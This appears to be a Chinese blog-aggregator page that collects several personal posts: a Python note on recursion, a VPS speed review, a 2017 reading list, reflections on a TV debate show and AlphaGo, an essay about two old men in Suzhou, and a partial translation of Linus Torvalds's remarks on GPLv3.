好了,就安利这些了,下次发现好玩的,再补充。


by 西枫里 at June 13, 2018 03:18 PM

June 10, 2018

anji66

Python学习笔记十一(递归)

本次学习先回顾了前两天的lambda表达式,使用lambda表达式创建匿名函数。接着学习本次课程的内容:Python的递归。什么是递归,程序调用自身的编程方法叫递归。递归的两个条件,首先是需要调用自身。其次程序能够返回正确的返回值。递归在某些情况下能更简单有效的解决问题,在递归和迭代都能解决问题的情况下,也并非所有的情况都适合使用递归函数。



首先来看一个阶乘的例子。

1、使用迭代方法计算阶乘。

未标题-1.jpg

2、使用递归方法计算阶乘

未标题-2.jpg

通过上述的例子可以看出,递归调用了函数自身,最后成功返回了结果,显然递归的代码更加优雅。

再来看下使用递归计算斐波那契数列。

1、使用迭代方法计算结果。

未标题-3.jpg

2、使用递归方法计算结果。

未标题-4.jpg

通过上述的例子递归方法更加明确。但此时如果计算的位数持续增加,那么递归的效率将急剧递减,因为递归一层一层的返回数据成倍的增加了运算量,而此时迭代算法反而效率更高,所以在计算类似问题的时候需要综合考量效率和性能。

最后使用递归计算汉诺塔步骤。

汉诺塔游戏是一款古老而经典的益智游戏,使用递归算法将很好的指明游戏的具体操作步骤,从而更加快速的通关。

未标题-5.jpg


by 西枫里 at June 10, 2018 05:14 PM

January 05, 2018

cokebar

Bandwagon Host 搬瓦工 美国洛杉矶CN2线路评测

原文链接:Bandwagon Host 搬瓦工 美国洛杉矶CN2线路评测 作者:cokebar 发表于:飞羽博客

搬瓦工(Bandwagonhost)2017年上线了美国的直连中国线路,分为针对电信专门优化的电信CN2线路(同时联通也是直连);以及稍便宜一点的联通移动直连线路。本人也入手了一个CN2线路的服务器,顺手测试了一下,还是比较不错的。

价格$29.99,购买

unixbench跑分,磁盘IO还可以,千兆口,网速也不错:

Ping测试(联通稍差)

下载测试(电信):

by cokebar at January 05, 2018 08:09 AM

December 26, 2017

pythoncat

我的 2017 年读书杂记

2017年要走了,这碎片化的一年,有必要收拢一下。遂理一下今年读过的书吧。
1、《莫言文集》
这本文集收了从《透明的红萝卜》(1985)到《蛙》(2009)的长篇,还包括30多篇短篇。此前不曾读过莫言的小说,故找来读。读了却不喜欢他讲故事的方式、不喜欢那些人物和语言。完整看完的只有《蛙》,其它像《檀香刑》《丰乳肥臀》《红高粱家族》,只是跳翻,没有好印象。几年前,读过他的《我的高密》,读他成长的故乡往事,似乎更可读些。
2、瓦尔·赫拉利 《人类简史》《未来简史》
前一本出版后已风靡两年多,今年姊妹篇再领风骚,自然不能不读。第一本开篇即带读者走进一个多人种并存的历史,我们是Homo sapiens(人属智人种),类比狮子是Panthera leo(豹属狮种)。几十万年前,智人只是人类的一支,而现在,其他人种都被智人种直接或间接地灭绝(或同化)了!智人胜在想象的能力,历经认知革命、农业革命、科学革命,终于成为神一般的存在,而未来的关于存亡的议题也日渐浮现。读的过程,每每感到自身的渺小,找到一种维度反观自己生存的意义。
3、 贾雷德·戴蒙德 《枪炮钢铁与细菌 :人类社会的命运》
承《人类简史》,读了另一本奇书。人类史的种种隐秘与巧合,读时每每脑洞大开,有大呼过瘾之感。
4、 李中莹《爱上双人舞:如何拥有和谐的恋爱、婚姻生活》、 约翰·戈特曼 / 娜恩·西尔弗 《爱的博弈》
有个作家说:“婚姻不能真正消灭孤独,但它并非没有用处——它可以用烦恼来代替孤独。”第一本书的作者说:“成功的婚姻,就像是配合默契的双人舞。” 书中提到了婚姻的五个致命伤、提出了夫妻相处的几种机制,也强调了自我价值、平等权利等等。婚姻,不是一件无师自通的事情。第二本书的作者是心理治疗师,讲的内容具有实践价值,全书核心两字是——信任,其它关键词还有:欺骗出轨、爱情修复、滑动门时刻、消极诠释、情绪协调、零和婚姻…作者对爱情的定义是:双方都有意培养和鼓励珍惜彼此,认为对方独一无二、不可替代的思想和行为的状态。
5、大前研一《专业主义》
在得到上听到某期节目推荐此书,提到“U盘化生存”,故找来看(最后似乎没看到相关论述)。书中讲专家需具备的几种能力: 先见能力、构思能力、讨论的能力 。有趣的是专家的词源“profess”指的是“向上帝发誓,以此为职业”,听起来指的是“不忘初心”的匠人。但作者明显讲的只是“企业家”。
6、 马尔科姆·格拉德威尔 《异类:不一样的成功启示录》
“异类”是一个区分烂俗成功学的概念,作者取的是这层含义:一个在价值上能与其他样本显著区别开的统计观察值。这意味着作者站在统计学、群体性上去研究成功人士。作者证明的是:“异类”的决定因素并不是个人奋斗,反而是某些隐蔽的先天优势、文化背景、历史机遇。对我等普通人来说,这结论太现实、太伤人了,我也想成为一个 Outlier 啊!
7、 菲利普·津巴多/约翰·博伊德 《津巴多时间心理学》
我们常挂在嘴上的三观是“世界观、人生观、价值观”,而作者想引起我们思考的是他认为更重要的“时间观”。此“时间观”不是说一个人守时或珍惜时间,而是说一个人对于时间的整体态度。对待过去、现在和未来的积极或消极态度,形成了人类的六种时间人格。认清时间的悖论、认清自己所属的“时区”,是我们生活得以有秩序、有意义的关键。其中一章讲时间观之于爱情,男人更倾向于享乐主义的现在时间观念,而女人更倾向于未来时间观念。一个结论:很多人离婚时不该写性格不合,而应该写时间观不合。
8、吕世浩《大秦三部曲》
因看电视剧《大秦帝国之崛起》而对先秦史感兴趣。电视剧是根据《大秦帝国》拍摄的,只因有六部,怕读来耗时,最后找来这本做替代。三部曲包含: 《秦始皇: 诈与力的极致》、《帝国崛起 : 王道、霸道与强道的取舍》、《敌我之间 : 成在对手,败在队友》 。“越艰困越奋斗,越顺利越荒唐。这样的规律几乎贯穿于整个秦人历史的始终,就像是对他们的诅咒。”“多难兴邦,骄奢失国,正是秦国历史最好的写照。”
9、《优质学习套装》、采铜《 深度学习的艺术: 知乎采铜自选集 》、布朗《学会提问》
套装含《学习之道》、《刻意学习》、《练习的心态》、《如何高效学习》、《行动学习的本质》、《行动学习催化秘籍》。这些都是很经典(常见推荐)的书目,但怀着若即若离的心态看读,我很快就像到景点上留下“到此一游”的游客,最后两手空空而回…
10、 莫提默·J. 艾德勒 / 查尔斯·范多伦《如何阅读一本书》
一本经典的畅销书,书中提出阅读的四种层次:基础阅读、检视阅读、分析阅读、主题阅读。我现在读书基本出于兴趣或便利,而不是问题导向,所以浅层次的阅读方式倒是用的多,包括读这本…
11、 钟云霄 《混沌与分形浅谈》
书中提到混沌的重要性:混沌被认为是20世纪物理学的第三次革命,另外两次是相对论与量子力学。“混沌就是系统的无规行为中的规律性。”这很费解。书中出现的数学分析一点都不友好。这个理论其实是推翻了确定性的物理观:即使给足了初始条件,你也无法确定长时间运转后的结果。
12、 张鸣《无所畏与无所谓》
历史随笔、清末民国的故事、国民性话题、杂感。闲暇读读就好。作者随口说孔融仗着圣人之后,说了不忠不孝的话而被曹操诛杀。但查阅《后汉书》《三国志》,都明明白白写着这是曹操命人栽赃的,可见此书太过于“无所畏”了…
13、 丹尼尔·卡尼曼《思考,快与慢》
曾想仔细精读,中途发觉章节内容太多,几度欲弃。不过此书值得重读。人每时每刻接受信息并做出应对,然而对于自己做出判断与决策的基础原理恐怕知之不多。作者提出双系统来解释人类大脑的运转,系统1 主要指无意识的运作,系统2主要指受理性控制的运作。第一部分的每章都很精彩,从不同面向来说明这两个系统。得到的启示是:审慎地对待自己的“不假思索”、第一反应、思维惯性,并将优秀的系统2思维固化进系统1快速使用…
14、黄荣华《人本教练模式》
第一章关于“人”字的起源与演进特别有趣,由“人”到“比”、“从”、“北”、“化”,妙趣良多。
15、唐翼明《中华的另一种可能:魏晋风流》、吴松弟《中国古代都城》、赵荣《中国古代地理学》
魏晋时代是继春秋百家争鸣之后的学术、思想高峰期,第一本书讲了这段时期的名士故事、思想潮流、士族阶级等等。后面两本都来自商务印书馆二十年前出的一套文化史丛书,两书的作者都是高校教授,内容都言之有物,而且并不高深,可一读。
16、 埃雷兹·艾登 / 让-巴蒂斯特·米歇尔 《可视化未来:数据透视下的人文大趋势》
早前在诚品书店看到这本书,当时被吸引就看了四分之一,后来偶然在论坛淘到电子书,大呼有缘!此书将谷歌图书500多万本电子书作为大数据,用“ n元词组词频查看器 ”做词频分析,发现了很多有趣现象和结论。强烈推荐。
17、 查尔斯·韦兰 《赤裸裸的统计学》 、 乔丹•艾伦伯格《魔鬼数学:大数据时代,数学思维的力量》
“ 统计学就像是一种高智商武器:正确地使用它能够帮助我们,但错误地使用它也会产生灾难性的后果。本书不会将你变成一个统计学专家,但会让你对这个领域保持谨慎和尊重,不至于酿成大祸。 ”第二本除了统计学,还有几种重要的数学思维,启发很大。
18、王健《还原真实的美联储》
“ 本书不仅对美联储的历史背景、政策目标、组织架构和运行机制作了客观明确的描述,而且对国内读者特别关心的有关美联储的各个问题进行剖析,提出了独到的见解;在澄清若干对美联储的常见误解之后,我们可以进一步了解美联储在全球经济和金融市场上的作用及其行事逻辑,从而进一步增强对全球市场的预见能力! ”
19、《在火星上退休: 伊隆•马斯克传》
阅读过程挺激动人心,但内容有几次反复、前后不一致。开始以为是电子书制作问题,后来看书评,得知这竟然是一本拼凑的伪作?!
20、中国国家博物馆《微博物》系列刊物
这是国博在2014年出的电子刊物,多看阅读上有六期。本想看看文物知识,附庸风雅,却有意外之喜:这刊物有更高追求,每期都有特定主题,制作精美,涉猎广博,仔细还能读到提及李银河“甲女丁男”的论述、马鞍的发明与战争的进阶…
21、 《魔力四射:如何打动、亲近和影响他人》《绝望成就了我:史玉柱给年轻人的14堂创业课》《餐桌上的进化史》 《冥想:唤醒内心强大的力量》《股票大作手回忆录》
本着练习速读以及相信“任何书籍都有几处闪光点”的念头,读了这些书,一目十行。
22、《Python之旅》《Python进阶》《流畅的Python》《Python cookbook》
由于工作缘故,又翻了一些Python教程和书籍,都是跳着看了部分章节,没有完整读完的。
23、 维克多·弗兰克尔 《弗兰克尔自传:活出生命的意义》
想看作者那本“著名”的《活出生命的意义》,没想到看的只是他的自传…作者是个犹太心理学家,是奥斯维辛集中营的幸存者, 其父母、妻子、哥哥相继死于毒气室中,只有他和妹妹幸存下来 。化痛苦为力量,他最后开创了维也纳第三心理治疗学派。“ 如果有人问我成功的秘诀,我通常会这么回答:我坚持一个原则:即使做很小的事,也要像处理大事一样用心;即使做很大的事,也要像对待小事一样冷静。”
24、邓安庆《山中的糖果》、《我认识了一个索马里海盗》
与我同姓的青年作家,天然感觉亲近。我关注其公众号和豆瓣有段时间了,看过平时文章和动态,这是第一次读出版物。相对喜欢第一本情真意切的有共鸣的随笔,最喜欢《快餐店的日与夜》、《回乡十记》,而第二本短篇小说集未能代入。
25、 奥尔罕·帕慕克 《我脑袋里的怪东西》
豌豆最爱读帕慕克,而我爱屋及乌。这本小说写了一个平凡的小贩,对他,我不喜欢,也难以厌恶,因为他既善良又软弱,既无能又真诚,连帕慕克似乎都不知道要如何安置他最终的命运——他造了一座城和两段婚姻困住了他。
26、石黑一雄《被掩埋的巨人》
迷雾使人丢失记忆,那么,要不要去找回记忆呢?为什么会有迷雾来蒙蔽记忆呢?万一找回的只是仇恨、痛苦的记忆,又该如何面对呢?
27、郝景芳《北京折叠》《生于一九八四》、特德·姜《降临》
《北京折叠》获得雨果奖最佳中短篇小说奖,年初拜读。年末看到“ 郝景芳说,故事之所以重要,是因为如果没有故事,如果没有我们对于生活的讲述,那么任何人的生活都是碎片化的,是一盘散沙。你回顾自己的一生、给自己讲述人生故事,才能把自己整合成一个完整的人。而小说家通过讲述万千碎片的故事,把这个世界组成了一个圆融的整体。 ”遂又读了一本《生于一九八四》。而《降临》是看了电影后,买来读的。都是有名气的科幻作家,故列一起罢。
照此一理,读过的书还真不少了(已剔除部分中途弃的)。我平时读书时间主要有三块:上下班在公交及地铁时、上班午休时、外出火车或长途车时。有个共性就是:不在家。手机电子书提供了极大的便利,而由此带来的缺陷也很多:容易走神、陷于局部章节而失去纲领…
新到的一年,计划:多做些分析阅读和主题阅读,写至少五篇精读后的书评。

December 26, 2017 12:00 AM

May 30, 2017

pythoncat

奇葩说没有上进心我错了吗?

许久不运动,昨天跑步前,打开运动APP,发现上一次的运动记录是26天前。回来打开豌豆花,发现上一篇我发的文章是27天前。这一个月的时间过得真快啊,而小目标还没达成。。。
今天的题目来自我和豌豆最爱看的综艺节目《奇葩说》。若作为观众要投票,我投给反方。颜如晶发言的时候,我就哭了。不过最触动我的是正方蔡康永的话。“你把你的上进心停掉是换不到开心的,换到的是灰心”。之前刘楠还讲到,你以为把上进心停了还能维持现状,但维持现状也是需要上进心才能做到的,这时候跳出画外音“逆水行舟,不进则退”。虽然马薇薇说的也有道理,说做事不一定出于上进心,可能是好奇心、同情心、平常心,但在我看来,最后归结一起,这些都是上进心。再者,像马薇薇、颜如晶和臧鸿飞这些人,都是经历过风雨后才举重若轻,他们一路上进,才站在了现在成型的势能层上。对于没有看到自己上限的人、还满怀世俗欲望地想过更好的生活的人来说,不能只想着“活在当下”,那样的自由很虚幻。
近几期节目在宣传蔡康永导了一部电影,看来除了电视节目,他一直没闲着。其实奇葩说里的几个导师都挺上进,从电视台出走后,他们都开创了自己的新事业:马东除了奇葩说,还推出好好说话、小学问,甚至亲自上阵玩一个狼人杀的节目;罗振宇的罗辑思维、得到APP和跨年演讲不消说,前不久他还独创性地举办了一场野心勃勃的知识发布会;张泉灵在节目里提到了参与一些慈善公益项目,其实她还入股了傅盛的猎豹,而猎豹除了海外视频直播APP获得巨大成功,还在潜心进军人工智能领域。不得不说,这几个前著名电视主持人都挺强的。也许促使他们变成这样,是因为事业心或者别的什么心,但我需要一些上进心,去汲取他们的行动精神,才好推动自己也去做成一些事。
罗胖讲的关于反义词的小感慨很有意思。他说到上进心的反义词是抵抗诱惑。我承认某些时候是这样,但对现今的我而言,上进心的反义词是满足现状。我所不满的现状是,快到了“三十而立”,却未能真正立起来。这很可怕。满足现状的心态也是一种诱惑,就像躺在温水里的青蛙,现状当然舒服,可是生存的危机也在酝酿中。
最近,我无意中观察到,国产动漫正在崛起!像什么《全职高手》、《镇魂街》,还有3D作品《少年锦衣卫》、《幻境诺德琳》,十足良心制作,特别是这后两部,那画风画面,简直不要太赞!电视剧也在看,除了《越狱》、《欢乐颂》烂尾不足续,只有小清新《花间提壶方大厨》越来越耐看。电影不怎么看了,因为没有任何期待。所以总体而言,动漫一枝独秀,带来了惊喜。在默默之中,它们在情节、人物、美工、特效、渲染方方面面都交出了可喜成绩。
近日还有一件必将载入史册的大事件,那就是柯洁与阿尔法狗的人机大战。一年前李世石之战,我们觉得并不服气,觉得人类选手还能一战,但现今再战,却抹去了胜利的可能。在围棋上战胜人类顶级选手,而且据说只用了单机版的算力,人工智能已经走到了质变的前夕,毫不夸张地说,它就像武侠小说里一个人打通了任督二脉,就像一百年前第一封跨海发送成功的电报,前途无量。
之所以提到动漫和阿尔法狗,因为它们是离我最近的却足够预示时代巨变的事物,还有很多进步的美好事物在产生,意味着危机和机遇。有不少媒体发布预测,说哪些哪些岗位工种很快要被人工智能取代,还有直接报道人工智能协助法院判案、人工智能进医院诊断病症、人工智能找回拐卖儿童等等。我突然意识到,并不是人工智能未成熟,而是它应用的场景太多了,暂时没来得及全部覆盖罢了。而这一天总是不远的。我想起了小时候,大人们还标配着BB机,但科技革命来得很快,功能机、智能手机、移动互联网一次次打破现状,越走越快。它制造古董的水平是一流的。
上周,我没写一行代码,就把豌豆花公众号托管到了图灵机器人上,轻松就能调戏它,进行似是而非的对话,甚至能够跟它玩斗图,最后被它表情包甩得猝不及防。我看到有人还写了详尽的教程,利用图灵机器人打造个人微信的“私人秘书”。去年,扎克伯格也晒了他组建的机器人秘书。这说明,门槛并不高。因此我相信,我们每个人很快都能几乎不费成本地定制自己的私人机器人助理了!
回到今天的话题。作为辩题,它可以从不同角度辩论,就像颜如晶,可以精心准备出5篇稿子。但就个人而言,我只关心“上进心”三个字。它正是我所缺少的。对现状的不满、对未来的不安、对机遇的可能把握,没有上进心可不行。时间宝贵,空说无益,先行打住。

May 30, 2017 12:00 AM

November 12, 2016

pythoncat

两个老头

(一)
睡前突然不想做自己了,就想起白天见过的形形色色的奇怪的人。有一个老头,我想在今晚的梦里成为他。
成为他,不是要嫁接他过往的人生历程,也不是要接力他明显已然不多的余生,我仅仅只是想成为这样一种角色:我见到他时的、一个旁观者偏狭的视角所能解读的角色。
他几乎每天早晨都守在地铁B站的3号出口的刷卡通道外,两手捧着当天的早报,像乞丐端着求生的碗,等待着那些上班的人们的不要了的报纸。他站在中间的通道外,两腿挺直,从不倚靠墙壁或柱子,从不蹲着或坐着,兼顾着两侧,眼光几乎不漏过任何一份离开地铁站的报纸。
他从不说过一句话,不主动询问,也不拦截骚扰,伸手接过有意愿的施舍,不可惜任何一个拒绝。他穿着随性不讲究,混搭而不单调,有时候穿运动鞋配西服,有时候穿皮鞋配休闲服,常年戴顶猎豹纹品牌的帽子,遮住凭常识会认为是灰白的头发。
他从不显得穷困潦倒,并不是我们平常所见的拾荒者或者乞讨者,然而你也没有确切的线索推断出他的工作身份,或者赖以谋生的事。
也许他对别人丢弃的报纸有经济利益的诉求,他在附近经营了一家报刊亭,可以将报纸转手卖给别人;也许他用报纸来满足个人消遣的乐趣,例如剪切新闻并分门别类地贴在档案册里、练习毛笔书法、折叠出惟妙惟肖的花鸟工艺品。他不是一个精神异常的人,一定是有一个持久性的动机——就像有的老人为了延年益寿的目的而天天出门做晨练——驱使他日复一日地守在那里收集报纸。
但是,这个目的肯定不是为了身体健康,因为相比于人来人往的拥挤的嘈杂的地铁站,别处的空气和环境会更合适;这个目的也不像是为了挣钱,因为报纸本身很廉价,即使是再加工利用也不会带来多少收益,再说,他每天的收成都不好,目测一天只有十几份。
我曾下结论认为他是为了个人的乐趣这类相对纯粹的目的在做这件事。然而很快我就动摇了,因为我发现自己对别人——或者说是对“人”——的了解太少了,我认为别人不会去做的事情恰恰就发生在眼前。
有一天,又是上班高峰期,地铁里拥挤的乘客比往常更多一些,我侥幸得到一个座位可以短暂沉浸在手机里。这时,一个四五十岁的大胖子——胡渣潦草、汗侵T恤、略带凶相——推开人群出现,半征求半强制地收走别人没在阅读的报纸。在那个狭小的行走困难的挤满上班族或学生族的空间里,他的体型显现出侵略性的优势,出现得那么突然,所做的事那么奇怪,简直不可理解。我认为他回收报纸只是为了一个简单的目的——卖钱。
然而,我的疑惑是:挣钱难道没有别的更有效的方式了么,为什么要在上班高峰时的地铁车厢这样不合时宜的空间(更别说他的身型了),为什么要不礼貌地推挤别人或直接伸手取走别人放在腿上的报纸?
现今是纸媒没落的时代,年轻人几乎已没有阅读报纸的习惯,报纸的销量每况日下。我记得三年前还在武汉时,有一次为了找零钱而去买报纸,那时只需一块钱就买到了当地颇有名气的都市报,现在的行情肯定不会比那时候好。
苏州地铁上的报纸是免费的。我每天在地铁Y站进站后都会看到两个阿姨在楼梯口发报纸,她们套着一样的制服样的马褂,对立站成一个下楼必经的通道,伸长手把报纸晃来晃去,生怕别人不知道一样地说着“免费的地铁报”!当一份报纸送出去之后,她们会熟练地快速地抽出另一份举在眼前,让每一个经过的人都不能对此视而不见。
她们应该是报社请的临时工或者哪个公益组织的志愿者,打着“免费”的旗帜做着很费人力的低效的事,不止于此的是,当我在B站出站的时候,通常会经过一个报纸回收箱,有个守在旁边的阿姨会反复地说着“不要的报纸不要带出地铁站”!苏州目前开通了两条地铁线,每条线路超过二十个站,每个地铁站有两个进站口和两个出站口,保守估计的话,每天差不多有两百人在地铁站因为报纸而做着同一件事。我每天只能见到两百人里区区的几个,从未曾留意过今天见到的是否是昨天见到的人。最初的时候,我不关心她们所做的事,甚至出于习惯地有所排斥。
每天走在路上,特别是在来往人多的路上,我们无法避免与别人产生交集,然而大部分时候让人唯恐躲之不及:有时候是一份促销的宣传单、有时候是一家新店开业的喜讯、有时候是一家英语培训机构的介绍、有时候是一张手写的聋哑人证明、有时候是一句“上帝保佑你”或者“你相信上帝吗”…
这种事情简直太常见了,以至于,每当有陌生人试图靠近或突然递给我东西的时候,我的戒备心就就快速地做好了要拒绝的准备。
最近,当我加班到特定的某个时间,下班走到B站地铁口时,就会见到一个很特别的大叔。他穿着交警的衣服,别着交警的装备,旁边停着交警的执勤摩托车,然而手里拿着一张A5大小的印刷纸,会招手拦下经过的人,说“你有空吗?帮我扫一下二维码吧!”我想他无非是让人扫码关注什么公众号或者给什么人投票,就快步的走开了。他也许是为了完成上司交代的任务,也许是做着兼职想挣点小钱,不管是哪种,我同样理解他和他做的事,但仅此而已。
我又想起了那个老头,相比于其他人,我对他更为留意。我想他大概不到七十岁,身体衰老的作用使他行动变得迟缓,夜里会被疏松的骨头报警的声音吓得失眠,于是又早早地来到忙碌的地铁站。
他的脸由于嘴巴苦闭而显得有些紧绷,或许由于能催生快乐的事情不多,而近年来伴侣的无情的指责让他变得难受,总之他的脸像是忘记了怎么发出笑容。他的眼睛曾经很明亮,很迷人,到如今成长的有些涣散迷离,越来越难以说出有意义的话,就像他的舌头一样。他年轻的时候心性不定,总是不能长久地做一件在现在看来仍是有益的事,而变老的好处之一就是他克服了这个缺点,然而,以前未完成的愿望大部分也变得更为不可企及。
以上的描述,毫无疑问,纯属凭空想象。
他实实在在的形象不会因为我的假想而变样,他的行为也不会因为我过度的解读而更有意义。他只是一个每天在地铁B站收集别人不要的报纸的老头,仅此而已。
夜更深了,我仔细地想了想,又再想起白天见过的形形色色的奇怪的人,想到冬天来了,夜晚的时间用来造长长的梦很合适。我已经不想在梦里成为他了,我突然有种奇怪的感觉——我曾经就是他,或者在未来会变成他。
(二)
窗外是干净的天,纯净的灰色,偏于暗淡,被对面的楼层拦挡了一片。说实话,我往外看的时候并无什么特别的期待,抬头先看天空,是出于一种矫情的习惯。
假如条件允许,视野可以开阔到远方的话,我倒是会有所期待:最好是有几座层层叠叠的山,线条起伏,包纳树木郁郁葱葱,不单调,也不需要太多秘密;当夜晚来临时,就抛出一个光亮光亮的月球,照出寂寞的冷色。
然而条件并不允许,视野被遮挡,我只能对视一个普通的住宅小区里毫无特色的绿化装饰区——唯一值得观察的只有区区两三株樟树,花期早过了,果期也刚过了,没有了所珍护,也没有了所得意,沉默时带着坦然,闹动时透露出自足。我想对它们说说我的心情,但它们摆起常年深绿的树叶,仿佛在说已经提前知道了,接着礼貌地分享了它们的令我羡慕的自由感。
其实,在小区里还有别的绿化物,至少有杨梅树和桂花树,都曾吸引过我的注意:一个酸,一个香,一个红,一个黄,都大胆地展示自己的能力和独特的个性——只可惜都不持久;更可惜的是,它们没有生长在我的卧室的窗外,无法填补我的占有欲——我不知道它们是否是樟树那样的倾听者,信持着什么样的生活观点?
近日来,我的心情有些落寞,尤其是在安静的周末的午后。远离手机游戏之后,我虽然有更多时间阅读和直面自己,但也更容易暴露在无聊中。
于是,我开始做一些转移注意力的事,例如写作,例如想起一个老头,例如想起一个老头之后又想起另一个老头。
苏州是座江南水乡城市,遍布着纵横交错的河流,将星罗棋布的几个湖泊贯通联结起来,极大地方便了垂钓者。有一个老头,经常在小区旁的我上下班必经的河边垂钓。
这是一条安静的河,水不清澈,但也没有太多杂物,从不远处的青剑湖引出来,流的及其缓慢,像河边的垂杨柳在风中缓缓地摇。河流靠公路的一侧是密布的树丛,树丛间有一个缺口,漏出一小片空地连接着河堤,足够让他安放一个折叠椅、一个塑料桶、一个抄鱼网、一把伞、一个小支架、一个碗和一副钓竿。
他就占据着那个有利的位置钓鱼,距离远得看不清容貌细节,却足以辨别出年龄段。他经常穿着黑色的皮夹克、黑色的长裤和黄棕色的鞋子,头戴一顶白色的鸭舌帽,在穿着上可以说有一种符合年龄的保守与随性,与地铁站收报纸的老头一样,只透露了些许的孤独,但更多却是说不出的神秘。
他基本上是坐着,或者说缩着,一动不动,像是嵌在了树丛里。从概貌来看,他也不显得穷困潦倒,年岁的流逝使他的脊梁变得轻微佝偻,没错他是一个老头,然而并不是我们偏见里会假设的那种一无是处的老头。
我搬家约半年了,最初的日子里并没见过他,然而突然开始,每天清晨7点刚过,当我经过的时候,他似乎已经准时地坐在那里很久了。于是,一种奇妙的比对关系出现了:我工作日早起去上班,他每天早起来钓鱼;我匆匆赶去挤公交和地铁,他悠闲坐在河边柳树下;我一个人,他也一个人;我上班努力工作基本上是为养家糊口,他钓鱼独对长河很可能不是为养家糊口。。。。。。
我发现自己很容易对外部世界产生好奇,对他人的生活产生兴趣,因为我觉得他人的生存状态以及生活动机是个值得探究的宏大主题。
于是,每天看到这个老头的时候,我都放慢脚步,以便能多观察几秒钟,就像在地铁站里一样。
我觉得他懂得坚守一种无害的兴趣,有眼光选择那一处绝佳的角落,充分发挥了一个老人的长处:精神更纯粹、能够保持长久的沉默、远离社交网络和电子产品、把时间过得比年轻时更充裕。
对一个老头来说,最流行的日常消遣无非是这几种:打麻将、打扑克、下棋、跳广场舞、侃大山。他选择了钓鱼,另一个老头选择了在地铁里收集报纸。
如果我有幸长命活成一个老头,我大概是都不会选的。期待到了那个时刻,我是一个无人打扰的小说家:为青少年写些魔幻的故事,或者为自己写一座迷宫。
我把地铁站里的老头和河边钓鱼的老头当做独特的个体来观察,然而我知道,吸引我的并不完全是他们本身,还存在着一种让我着迷的无形的象征意义,越是进入抽象的领域,它们就越清晰。
那是一种安逸却消极的价值观,老头象征着一种达成态的稳定:判断力已经养成了,天之命及人之伦已经认知了,社会成果及自身价值基本已是定局,欠下的债要么已还清要么永远还不清了;珍贵的事和不珍贵的事、仍爱的人和不爱的人,对立分明,像被放在天秤的两端,彼此的分量精确而准确,童叟无欺;迫近的死亡会逼退未来的计划及理想,极端的情境会强化对当下的关注,缺席的终极意义最终引向虚无;于是就抹去了年龄,抹去了人。
一种荒诞出现了。必须要第三个老头来解,必须等他来,一点耐心也少不了,必须等待这个老头,也许等待四十年,也许五十年。
冬天先来了。

November 12, 2016 12:00 AM

August 08, 2016

farseerfc

爲什麼 Linus Torvalds 不願意將 Linux 變成 GPLv3 授權?

知乎 轉載

和上篇文章一樣,這篇也是來自一個知乎上我回答的問題。

原問題:为什么 Linus Torvalds 不愿意将 Linux 变成 GPLv3 授权?

DebConf 14: Q&A with Linus Torvalds

我的回答:

這裏有段 Linus Torvalds 在 DebConf 14 上的 Q&A: https://youtu.be/1Mg5_gxNXTo?t=47m20s

其中關於 GPLv3 和協議的那一段在47:20開始到57:00左右。 裏面 Linus 對自己的觀點澄清得很清楚了。 看u2b或者聽英語有困難的請留評論,我抽空可以試着翻譯一下。

然後接下來就是我承諾的翻譯了

Q: Do you agree that you undermine GPLv3? and ...

問:你是否同意說你貶低了 GPLv3 ? 以及……

L: Yes

L: 是的

Q: How can we get you to stop?

問:我們如何纔能讓你別這麼做?

L: What?

L: 什麼?

Q: ...How can we get you to stop?

問:……我們如何纔能讓你別這麼做?

L: Oh I hate GPLv3. I undermined it on purpose. I actually thought the GPLv3 extensions were horrible. I understand why people would want to do them but I think it should have been a completely new license.

L: 哦我討厭 GPLv3 ,我是在故意貶低它。實際上我覺得 GPLv3 的擴展非常可怕。 我能理解爲什麼人們想要做這個,但是我覺得它本應是一個全新的協議。

Emm my argument for liking version 2, and I still think version 2 is a great license, was that, "I give you source code, you give me your changes back, we are even." Right? That's my take on GPL version 2, right, it's that simple.

嗯我喜歡版本 2 的那些理由,並且我仍然覺得版本 2 是一個非常棒的協議, 理由是:「我給你源代碼,你給我你對它的修改,我們就扯平了」 對吧?這是我用 GPL 版本 2 的理由,就是這麼簡單。

And version 3 extended that in ways that I personally am really uncomfortable with, namely "I give you source code, that means that if you use that source code, you can't use it on your device unless you follow my rules." And to me that's, that's a violation of everything version 2 stood for. And I understand why the FSF did it because I know what the FSF wants. But to me it's not the same license at all.

然後版本 3 的擴展在某些方面讓我個人覺得非常不舒服,也就是說「我給你源代碼, 這意味着你必須服從我的一些規則,否則你不能把它用在你的設備上。」 對我來說,這是違反了版本 2 協議所追求的所有目的。然而我理解爲什麼 FSF 要這麼做, 因爲我知道 FSF 想要達成什麼,但是對我來說這完全是不同的協議了。

So I was very upset and made it very clear, and this was months before version 3 was actually published. There was a discussion about this long before... There was an earlier version of version 3, years before actually, where I said "No, this is not gonna fly." And during that earlier discussion I had already added to the kernel that, "Hey, I don't have the version 2 or later". And there was no... And I was really happy then when version 3 came out, that I have done that something like 5 years before, because there was ever never any question about what the license for the kernel was.

所以我當時非常不安,並且表明了自己的觀點,並且這是在版本 3 發佈的數月之前。 在那很久之前曾經有過一場討論……在版本 3 之前有一個早期的版本, 事實上幾年之前,那時我就說過:「不,這不可能工作」。 並且在那個早期的討論階段我已經在內核裏寫好了「嘿,我可沒有寫過版本 2 或者更高版本」。所以之後也沒有過(爭議)……隨後版本 3 出來的時候我非常開心, 因爲我早在大概 5 年前做了預防,之後也就再也沒有過關於內核的協議究竟是哪個 版本的討論。

But I actually thought that version 3 is ... Uh, no ... I actually think version 3 is a FINE license, right. I'm a firm believer in, "If you write your code, it is your choice to pick a license." And version 3 is a fine license. Version 3 was not a good ... "Here we give you version 2, and then we tried to sneak in these new rules, and tried to force everybody to upgrade." That was the part I disliked. And the FSF did some really sneaky stuff, downright immoral in my opinion.

不過事實上我覺得版本 3 是……呃不……我事實上覺得版本 3 是個 不錯 的協議, 對吧。我堅定地相信「如果是你寫的代碼,那麼你有權利決定它應該用什麼協議」。 並且版本 3 是個不錯的選擇。版本 3 不好的地方在……「我們給你了版本 2 ,然後我們試圖偷偷混入這些新的規則,並且想逼着所有人都跟着升級」這是我不喜歡版本 3 的地方。並且 FSF 在其中做了很多見不得人的事情,我覺得做得很不道德。

Q: So you are talking about Tivoization?

問:所以你在說 Tivoization 的事情麼?

譯註: 關於 Tivoization
